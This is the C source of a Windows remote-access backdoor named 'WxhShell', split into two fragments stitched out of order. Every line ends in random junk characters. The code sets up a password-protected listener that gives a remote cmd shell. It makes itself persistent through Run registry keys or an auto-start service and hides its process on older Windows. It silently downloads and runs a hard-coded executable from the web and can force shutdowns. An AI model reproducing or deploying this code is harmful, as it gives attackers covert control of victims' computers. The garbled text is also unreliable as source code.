    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A^lm0[3q  
    if(Boot(SHUTDOWN)) 9>{ml&$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @+;.W>^h  
    else { #~Xj=M%  
    closesocket(wsh); ;)ay uS sQ  
    ExitThread(0); H[w';u[%  
    } dpz@T>MS=  
    break; ?z&n I#  
    } shB3[W{}!)  
  // 获取shell :X":>M;;+  
  case 's': { e# Y{YtE  
    CmdShell(wsh); (6c/)MH  
    closesocket(wsh); 3ZT3I1/D  
    ExitThread(0); N+~ MS3  
    break; [( xPX  
  } \= ({T_j4  
  // 退出 uou "s9  
  case 'x': { Z7wl~Hk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -s HX   
    CloseIt(wsh); _"*vj-{-y  
    break; |i B#   
    } ?u CL[  
  // 离开 fFEB#l!oUb  
  case 'q': { [cDkmRV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o0AT&<K  
    closesocket(wsh); +M.BMS2A<l  
    WSACleanup(); m +A4aQ9  
    exit(1); 5XT^K)'  
    break; z81dm  
        } ~F@p}u8TV  
  } bD)"Jy  
  } )fo0YpE^|  
HH6n3c!:mm  
  // 提示信息 E$_zBD%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R|@~<*  
} idHI)6!  
  } o5/BE`VD5c  
aF/DFaiYv  
  return; m|JA }&A  
} 3'p 1m`8  
3LyNi$`f  
// shell模块句柄 t=eI*M+>h  
int CmdShell(SOCKET sock) h@JX?LzZS  
{ N_Ezp68Fp  
STARTUPINFO si; 7r:&%?2:g  
ZeroMemory(&si,sizeof(si)); |FFz $'8)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FzOWM7+\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;E{jn4B'  
PROCESS_INFORMATION ProcessInfo; 7Z9'Y?[m  
char cmdline[]="cmd"; yC ?p,Ci,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =LY`K#  
  return 0; KKQT?/ {b  
} FD!8o  
+hKU]DP2;  
// 自身启动模式 W*iTg%a\k  
int StartFromService(void) ]Ndy12,M  
{ S~r75] "  
typedef struct ].Bx"L!B  
{ kE6/d,  
  DWORD ExitStatus; RU#}!Kq  
  DWORD PebBaseAddress; &b>&XMIK  
  DWORD AffinityMask; iN[6}V6Sm  
  DWORD BasePriority; K:9AP{+  
  ULONG UniqueProcessId; ObZhQ.&  
  ULONG InheritedFromUniqueProcessId; An}RD73!w  
}   PROCESS_BASIC_INFORMATION; h+Lpj^<2a  
\{Q_\s&)  
PROCNTQSIP NtQueryInformationProcess; Z[&FIG% tV  
P )oNNY6}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y(aUB$"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PN99 R]K0g  
P3!@}!r8  
  HANDLE             hProcess; "N'W~XPG  
  PROCESS_BASIC_INFORMATION pbi; D 9;pjY  
f.j<VKF}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A ?tna6W:  
  if(NULL == hInst ) return 0; *BrGh  
izcjI.3e,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [QMN0#(h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @x*xgf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {m3#1iV9  
J:'_S `J  
  if (!NtQueryInformationProcess) return 0; z80(+ `   
y5c\\e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,%A|:T]  
  if(!hProcess) return 0; 7MZH'nO  
|_g7k2oLY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T9J&^I  
E;`^`T40  
  CloseHandle(hProcess); ]jI<Js* F  
G2y1S/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rS!@AgPLE  
if(hProcess==NULL) return 0; *MlEfmB(  
PepR ]ym  
HMODULE hMod; g/68& M  
char procName[255]; |Wa.W0A  
unsigned long cbNeeded; WqM| nX  
i/C% 1<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )RTWt`  
&ID! lEd  
  CloseHandle(hProcess); _pb*kJ  
"uL~D5!f  
if(strstr(procName,"services")) return 1; // 以服务启动 9fs-|E[5  
Vp1ct06^  
  return 0; // 注册表启动 &N=vs  
} H)S!%(x4  
B#IUSHC  
// 主模块 &RbP N^  
int StartWxhshell(LPSTR lpCmdLine) u^MRKLn  
{ LibQlNW\  
  SOCKET wsl; IS!OO<  
BOOL val=TRUE; (x\VGo  
  int port=0; I0H]s/*C%9  
  struct sockaddr_in door; qAd=i0{N  
n8)&1 q?V  
  if(wscfg.ws_autoins) Install(); $nW9VMa  
?Bq^#i |m  
port=atoi(lpCmdLine); 8 3/WWL }  
LauGT* z!  
if(port<=0) port=wscfg.ws_port; 1MO-60  
2<!IYEyT  
  WSADATA data; DOGGQ$0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {9{X\|  
co\Il]`R/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   - 7T`/6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a6;[Z  
  door.sin_family = AF_INET; -l_B;Sb:e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PW5)") z  
  door.sin_port = htons(port); Iw.!*0$  
|cnps$fk~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EqtL&UHe  
closesocket(wsl); R{Zd ]HT  
return 1; s I\-0og  
} <%d!Sk4  
xk/-TXB 0  
  if(listen(wsl,2) == INVALID_SOCKET) { ;a>u7rw  
closesocket(wsl); W,H8B%e  
return 1; l"+8>Mm  
} QnP3U  
  Wxhshell(wsl); %x{kd8>u!  
  WSACleanup(); / yBrlf  
`V<jt5TS  
return 0; gd7r9yV  
_#r00Ze  
} O9>$(`@I  
VJTO:}Q  
// 以NT服务方式启动 '@@!lV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $+n6V2^K)7  
{ Z- a  
DWORD   status = 0; Dj c-f  
  DWORD   specificError = 0xfffffff; vK+reXE  
_4)z:?G5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &wY$G! P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RjvW*'2G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =9 )k:S(  
  serviceStatus.dwWin32ExitCode     = 0; ZQfPDH=  
  serviceStatus.dwServiceSpecificExitCode = 0; y9d"sqyh  
  serviceStatus.dwCheckPoint       = 0; 6i+,/vr  
  serviceStatus.dwWaitHint       = 0; -3) jUzD  
[|c%<|d2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j-R*!i  
  if (hServiceStatusHandle==0) return; y2jw3R  
7p]Izx8][  
status = GetLastError(); U'9z.2"}9  
  if (status!=NO_ERROR) q!'p   
{ _ h#I}uJ~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  &qdhxc4  
    serviceStatus.dwCheckPoint       = 0; A&Aj!#  
    serviceStatus.dwWaitHint       = 0; 0mUVa=)D  
    serviceStatus.dwWin32ExitCode     = status; g;p} -=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ARf{hiV6Wt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'n-y*f  
    return; UQ0<sI=  
  } 7XyCl&Dc:  
#6ePwd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _ pz}  
  serviceStatus.dwCheckPoint       = 0; DZC@^k \E  
  serviceStatus.dwWaitHint       = 0; ^s7!F.O C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,I5SAd|dX  
} EV{Ys}3M  
OrM1eP"I  
// 处理NT服务事件,比如:启动、停止 54z.@BJhE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J@$~q}iG  
{ !*"fWahv  
switch(fdwControl) aif;h! ?y  
{ +ppA..1  
case SERVICE_CONTROL_STOP: a= j'G]=  
  serviceStatus.dwWin32ExitCode = 0; u)<s*jk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -c0ypz  
  serviceStatus.dwCheckPoint   = 0; 7>j~;p{  
  serviceStatus.dwWaitHint     = 0; 5a_8`csu  
  { CKK}Z;~:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]r|oNGD)G  
  } :[_ms d  
  return; 1 rhZlmf[r  
case SERVICE_CONTROL_PAUSE: "t.` /4R2w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }}tbOD)t  
  break; < z2wt  
case SERVICE_CONTROL_CONTINUE: A)C)5W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @lE'D":?  
  break; / }$n_N\!)  
case SERVICE_CONTROL_INTERROGATE: |0=UZK7%O  
  break; +K'Hr: (  
}; sNo8o1Hby  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i}DS+~8v  
} [A,^ F0:h  
eyyME c!  
// 标准应用程序主函数 '{jr9Vh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f2;.He  
{ _i+@HXR &  
8;DDCop 8L  
// 获取操作系统版本 MHK|\Z&e7  
OsIsNt=GetOsVer(); y')OmR2h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,u2Qkw  
6j<!W+~G  
  // 从命令行安装 qtZ? kJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); @ps(3~?7  
|sReHt2)d  
  // 下载执行文件 :HO5 T  
if(wscfg.ws_downexe) { DHWz,M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /!?LBtqy  
  WinExec(wscfg.ws_filenam,SW_HIDE); *$<W"@%^J  
} [^5;XD:%&l  
@9B*V~ <  
if(!OsIsNt) { \CMZ_%~wU  
// 如果时win9x,隐藏进程并且设置为注册表启动 A<X?1$  
HideProc(); )?$[iu7 s  
StartWxhshell(lpCmdLine); D:_W;b)  
} c[,h|~K/_?  
else $QC1l@[sM  
  if(StartFromService()) ;Y^'$I2fR#  
  // 以服务方式启动 Zj_2>A  
  StartServiceCtrlDispatcher(DispatchTable); O1z]d3x  
else 'f-r 6'_ZX  
  // 普通方式启动 Z]]Ur  
  StartWxhshell(lpCmdLine); AzOs/q8O  
<:}nd:l1  
return 0; H3D<"4Q>  
} XnQR(r)pR2  
Ku75YFO,5  
Oo|PZ_P  
(.ir"\k1(  
=========================================== Db,"Gl  
-^xbd_'  
eluN~T:W  
@&ZQDi  
yWi-ic [n  
DW. w=L|5R  
" RSp wU;o6z  
-!j6&  
#include <stdio.h> q<dG}aj  
#include <string.h> *5%vU|9b  
#include <windows.h> nF,F#V8l  
#include <winsock2.h> &<PIm  
#include <winsvc.h> P]43FPb  
#include <urlmon.h> lvO6&sF1  
e7RgA1  
#pragma comment (lib, "Ws2_32.lib") K*>%,mP$i  
#pragma comment (lib, "urlmon.lib") VVas>/0qr  
5qb93E"C  
#define MAX_USER   100 // 最大客户端连接数 {]T?)!V m  
#define BUF_SOCK   200 // sock buffer f4"UI-8;n  
#define KEY_BUFF   255 // 输入 buffer ]4l2jY  
UTD_rQ  
#define REBOOT     0   // 重启 hIJtu;}zU  
#define SHUTDOWN   1   // 关机 }5;4'l8  
*q=T1JY  
#define DEF_PORT   5000 // 监听端口 GJeG7xtJKl  
y|5L%,i  
#define REG_LEN     16   // 注册表键长度 I=y7$+7%  
#define SVC_LEN     80   // NT服务名长度 ><<>4(eF p  
@NLcO}  
// 从dll定义API gM&IV{k3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]M7FIDg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Nu{c;7"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F8f}PV]b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .[Sis<A]%  
1M]=Nv  
// wxhshell配置信息 ubcB <=xb  
struct WSCFG { g+ c*VmY  
  int ws_port;         // 监听端口 ^65I,Z"  
  char ws_passstr[REG_LEN]; // 口令 O3} JOv_  
  int ws_autoins;       // 安装标记, 1=yes 0=no EwC]%BZP  
  char ws_regname[REG_LEN]; // 注册表键名 x b,XI/  
  char ws_svcname[REG_LEN]; // 服务名 k]~o=MLmj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 } oPO`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K^u,B3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #-0e0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3p%e_?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pU$k{^'UK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sQJ\{'g  
]r Uj<[O  
}; YOl$sgg}  
X1Yw=t~a  
// default Wxhshell configuration  ldA_mj{  
struct WSCFG wscfg={DEF_PORT, t'n@yX_  
    "xuhuanlingzhe", lPy|>&Yc  
    1, V8^la'_j  
    "Wxhshell", ~ :ASv>m  
    "Wxhshell", >JpBX+]5m  
            "WxhShell Service", im<bo Mv  
    "Wrsky Windows CmdShell Service", +\eJxyO  
    "Please Input Your Password: ", M3tl4%j  
  1, a:BW*Hy{\  
  "http://www.wrsky.com/wxhshell.exe", )1s5vNVa  
  "Wxhshell.exe" )?F&`+  
    }; e\%,\ uV}  
VOEV[?>ss  
// 消息定义模块 4p:d#,?r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bs"D<r&ro  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |N)Ik8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uo#1^`P  
char *msg_ws_ext="\n\rExit."; %HUex 6!  
char *msg_ws_end="\n\rQuit."; aAg Qv*  
char *msg_ws_boot="\n\rReboot..."; m'rDoly"62  
char *msg_ws_poff="\n\rShutdown..."; p='j/=  
char *msg_ws_down="\n\rSave to "; $}9jv3>)  
6'^_*n  
char *msg_ws_err="\n\rErr!"; 9@ k8$@  
char *msg_ws_ok="\n\rOK!"; ]o6 ZZK  
vqm|D&HU  
char ExeFile[MAX_PATH]; vpQ&vJfR  
int nUser = 0; yf&g\ke  
HANDLE handles[MAX_USER]; 6TP /0o)  
int OsIsNt; %'Cj~An  
{9@D zP  
SERVICE_STATUS       serviceStatus; &6eo;8 `U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2W,9HSu8  
vV,TT%J8D  
// 函数声明 y]db]pP5  
int Install(void); F Z"n6hWA  
int Uninstall(void); rzf Lp  
int DownloadFile(char *sURL, SOCKET wsh); ~; 9HGtg  
int Boot(int flag); :u>RyKu|&R  
void HideProc(void); Z-iU7 O  
int GetOsVer(void); $vs],C"pX  
int Wxhshell(SOCKET wsl); F s/CW\  
void TalkWithClient(void *cs); CTIS}_CWd=  
int CmdShell(SOCKET sock); B)0/kY7c  
int StartFromService(void); N!+=5!  
int StartWxhshell(LPSTR lpCmdLine); Hjm> I'9  
c]6b|mHT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6S`_L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \<7Bx[/D4  
/ Hr|u  
// 数据结构和表定义 Qit&cnO  
SERVICE_TABLE_ENTRY DispatchTable[] = `16'qc  
{ 1j?P$%p  
{wscfg.ws_svcname, NTServiceMain}, Y~"tL(WfJl  
{NULL, NULL} gIB3DuUo  
}; Od!)MQ*,  
IWv 9!lW  
// 自我安装 IiPX`V>RC  
int Install(void) [\8rh^LFi  
{ VGS%U8;  
  char svExeFile[MAX_PATH]; L!}!k N:?  
  HKEY key; <ToS&  
  strcpy(svExeFile,ExeFile); B/a gW  
cY?|RXNmZ  
// 如果是win9x系统,修改注册表设为自启动 p6DI7<C<H  
if(!OsIsNt) { };Q}C0E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cMT7Bd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +Mo4g2W  
  RegCloseKey(key); S;~eI8gQ"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Mt3<W5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Z:yd}d  
  RegCloseKey(key); >Pw5! i\  
  return 0; YVIE v  
    } DyC*nE;  
  } (0{Dn5MH  
} vk7IqlEQ  
else { K[T0);hZR  
VVJ0?G (?  
// 如果是NT以上系统,安装为系统服务 "~4V(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5rsz2;#p  
if (schSCManager!=0) ufXWK3~\  
{ %\JGDM*m  
  SC_HANDLE schService = CreateService ?C|'GkT  
  ( N:`_Vl  
  schSCManager, L=lSW7R  
  wscfg.ws_svcname, ^/n1h g  
  wscfg.ws_svcdisp, -P;3BHS$T  
  SERVICE_ALL_ACCESS, }U}zS@kI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W@R7CQE@  
  SERVICE_AUTO_START, Rw+r1vW:A  
  SERVICE_ERROR_NORMAL, )tlj{ 7p  
  svExeFile, iv*RE9?^  
  NULL, pwo$qs(p  
  NULL, ex>7f%\  
  NULL, 9\8ektq}Z  
  NULL, V(ELrjB0  
  NULL ,^9+G"H:I  
  ); *7AB0y0k  
  if (schService!=0) Ii0\Skb  
  { B^2r4 9vC  
  CloseServiceHandle(schService); 5{=+S]  
  CloseServiceHandle(schSCManager); /\1'.GR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =M1}HF,7>l  
  strcat(svExeFile,wscfg.ws_svcname); y[7M(K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6wp1jN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?mNB:-Q  
  RegCloseKey(key); 3zsp 6kV  
  return 0; JD *HG]  
    } N@thewt|  
  } Kbu>U{'  
  CloseServiceHandle(schSCManager); <X*oW".  
} & AK\Pw)  
} m* 3ipI{h  
? dJd7+A  
return 1; qJG;`Ugl:  
} xP\s^]e  
#$UwJB]_D  
// 自我卸载 onu G  
int Uninstall(void) k| OM?\  
{ SPqJ [ F  
  HKEY key; uO4 LD}A  
3eY>LWx  
if(!OsIsNt) { 'xS@cF o(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |X@s {?  
  RegDeleteValue(key,wscfg.ws_regname); R+!U.:-yz  
  RegCloseKey(key); 4b<|jVl\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;!f='QuA  
  RegDeleteValue(key,wscfg.ws_regname); |uy@v6  
  RegCloseKey(key); n n F  
  return 0; 6%V:Z  
  } HS |Gz3~  
} $~5H-wJ  
} #?)6^uTW  
else { j \r GU){  
b_sasZo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B  W*8  
if (schSCManager!=0) & %/p; ::A  
{ K~#?Y,}O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DOyO`TJi  
  if (schService!=0) M4Cb(QAVP  
  { I'xc$f_+  
  if(DeleteService(schService)!=0) { (?Ko:0+*  
  CloseServiceHandle(schService); Ucv7`W gr  
  CloseServiceHandle(schSCManager); h] ho? K  
  return 0; ;?u cC@  
  } qt9jZtx  
  CloseServiceHandle(schService); =|J*9z;  
  } c&PsT4Wh  
  CloseServiceHandle(schSCManager); )q{qWobS0  
} 5QqU.9M  
} ;?q(8^A  
u^xnOVE  
return 1; UG\2wH_  
} k2eKs*WLC  
'A|c\sy  
// 从指定url下载文件 6r"NU`1A;r  
int DownloadFile(char *sURL, SOCKET wsh) QyCrz{/  
{ TDw~sxtv&  
  HRESULT hr; E^J &?-  
char seps[]= "/"; 4Pr^>m  
char *token; #_^ p~:  
char *file; wfO -bzdw  
char myURL[MAX_PATH]; xD*Zcw(vj~  
char myFILE[MAX_PATH]; oL9<Fi  
c) Eu(j\#  
strcpy(myURL,sURL); ZC2aIJ  
  token=strtok(myURL,seps); z?13~e[D  
  while(token!=NULL) dWzf C@]  
  { }t#|+T2f  
    file=token; R:n|1]*f3X  
  token=strtok(NULL,seps); ([<{RjPb  
  } W?SAa7+  
I;}U/'RR>  
GetCurrentDirectory(MAX_PATH,myFILE); ^+-QY\N j  
strcat(myFILE, "\\"); X8v)yDtw  
strcat(myFILE, file); a5Vlfx  
  send(wsh,myFILE,strlen(myFILE),0); {;Hg1=cm  
send(wsh,"...",3,0); y# \"yykB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 64b AWHv  
  if(hr==S_OK) 1PxRj  
return 0; kKRu]0J~[  
else . AA# G  
return 1; 0#GnmH  
b)a5LFt|  
} ]2L11" erP  
B Hp>(7,  
// 系统电源模块 }WJX Q@  
int Boot(int flag) T$mT;k  
{ N @_y<7#C  
  HANDLE hToken; r;b`@ .  
  TOKEN_PRIVILEGES tkp; Y->sJm  
)0I -N)  
  if(OsIsNt) { +|;Ri68  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G8]{pbX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !^Ay !  
    tkp.PrivilegeCount = 1; oeKl\cgFx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sRLjKi2D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lq-F*r\/~+  
if(flag==REBOOT) { o[wiQ9Tl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \RDqW+,  
  return 0; el<Gd.p.d  
} xBc$qjV  
else { )+v5 H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O.#R r/+)  
  return 0; [Cd#<Te3  
} RPMz&/k  
  } Xgh%2 ;:  
  else { .+Q1h61$T  
if(flag==REBOOT) { Q,9KLi3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D*46,>Tv  
  return 0; ~{g/  
} %;]/Z%!  
else { rc:UG "[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zt]8F)l@  
  return 0; 9'Z{uHi%  
} !M}-N  
} _`C|K>:  
3\{acm  
return 1; Z 9cb  
} *fd:(dN|  
?r]0%W^  
// win9x进程隐藏模块 "=%YyH~WY  
void HideProc(void) _@?I)4n|  
{ qDg`4yX.}  
8WLh7[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y+wy<[u  
  if ( hKernel != NULL ) i`6utOq  
  {  S\ZCZ0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RKMF?:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 41B.ZE+*qd  
    FreeLibrary(hKernel); ,]qc#KDq-1  
  } ?l[#d7IB  
[$$R>ELYQ  
return; f7 ew<c\  
} 'M?pg$ta_V  
$0{ h Uex  
// 获取操作系统版本 L#D)[v"  
int GetOsVer(void)  j AoI`J  
{ "AqLR  
  OSVERSIONINFO winfo; `{yD\qDyX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +|oLS_  
  GetVersionEx(&winfo); e?XGv0^qu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &9Z@P[f  
  return 1; kVeY} 8  
  else %;_EWs/z8  
  return 0; i5WO)9Us  
} dqU)(T=C  
Ir` l*:j$  
// 客户端句柄模块 -'oxenu  
int Wxhshell(SOCKET wsl) Ss{5'SF)$c  
{ ]9<H[5>$R  
  SOCKET wsh; !#5y%Bf  
  struct sockaddr_in client; )g&nI <Mh  
  DWORD myID; u,@ac[!vP  
^eV  K.  
  while(nUser<MAX_USER) }f{5-iwD}  
{ s)'+,lKw  
  int nSize=sizeof(client); "FE%k>aV@v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f/kYm\Zc  
  if(wsh==INVALID_SOCKET) return 1; #~rQ\A!4  
7k#>$sY+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;$*tn"- ?~  
if(handles[nUser]==0) J| 46i  
  closesocket(wsh); 2c,w 4rK  
else Q^Vch(`&P  
  nUser++; 2nFr?Y3g,  
  } %0u5d$bq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bLg gh]Fh  
Mu" vj*F  
  return 0; X)TZ  S  
} 8BY`~TZO$q  
E9.1~ )  
// 关闭 socket |e+r~).4B  
void CloseIt(SOCKET wsh) Uu`}| &@i  
{ ! }eq~3  
closesocket(wsh); rJp9ut'FEz  
nUser--; o9{1_7K  
ExitThread(0); s }^W2  
} |c$*Fa"A  
DM,;W`|6%  
// 客户端请求句柄 Q\^BOdX^`  
void TalkWithClient(void *cs) tnX W7ej^  
{ tuo'Uk)  
=xH>,-8}  
  SOCKET wsh=(SOCKET)cs; zyK11  
  char pwd[SVC_LEN]; #)T'a  
  char cmd[KEY_BUFF]; I$TD[W  
char chr[1]; vMXn#eR  
int i,j; lP(<4mdP  
grd fR`3  
  while (nUser < MAX_USER) { ?a?] LIE8  
aXbj pb+  
if(wscfg.ws_passstr) { hg^k lQD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NUi&x+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~a>3,v -  
  //ZeroMemory(pwd,KEY_BUFF); Ac>G F  
      i=0; +b dnTV6  
  while(i<SVC_LEN) { *:chN' <  
>u `Ci>tY  
  // 设置超时 Nc(A5*  
  fd_set FdRead; nzB!0U  
  struct timeval TimeOut; ]#rmk!VT?  
  FD_ZERO(&FdRead); ZI!;~q  
  FD_SET(wsh,&FdRead); O4W 2X@  
  TimeOut.tv_sec=8; XQ Si  
  TimeOut.tv_usec=0; X=k|SayE8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X*r?@uK5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /5XdZu6k`h  
i8/"|+Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Je#3   
  pwd=chr[0]; lb)i0`AN+  
  if(chr[0]==0xd || chr[0]==0xa) { eA9r M:  
  pwd=0; @^Kw\s  
  break; F xXnX  
  } ]`@< I'?,X  
  i++; Kku@!lv  
    } wD<W'K   
f./j%R@  
  // 如果是非法用户,关闭 socket 0te[i*G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $O9#4A;  
} I]~UOl  
i:^ 8zW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *pGbcBQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y(r(q  
~HX'8\5  
while(1) { Ed"p|5~  
;uU 8$  
  ZeroMemory(cmd,KEY_BUFF); 4=;`\-7!  
CakB`q(8  
      // 自动支持客户端 telnet标准   <*4r6UFR  
  j=0; gn${@y?  
  while(j<KEY_BUFF) { @%As>X<3t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,xC@@>f  
  cmd[j]=chr[0]; `9VRT`e  
  if(chr[0]==0xa || chr[0]==0xd) { wIQt f|ZI>  
  cmd[j]=0; M0MvOO*ad  
  break; DB+.<  
  } yu'@gg(  
  j++; W'C~{}c=  
    } ?CuwA-j  
OxVe}Fym  
  // 下载文件 >uz3 O?z P  
  if(strstr(cmd,"http://")) { 9C1\?)"D^e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l9$"zEC  
  if(DownloadFile(cmd,wsh)) [Kanj/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oSs~*mf  
  else )!D,;,aQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Bas+8 @,  
  } ohB@ijC!  
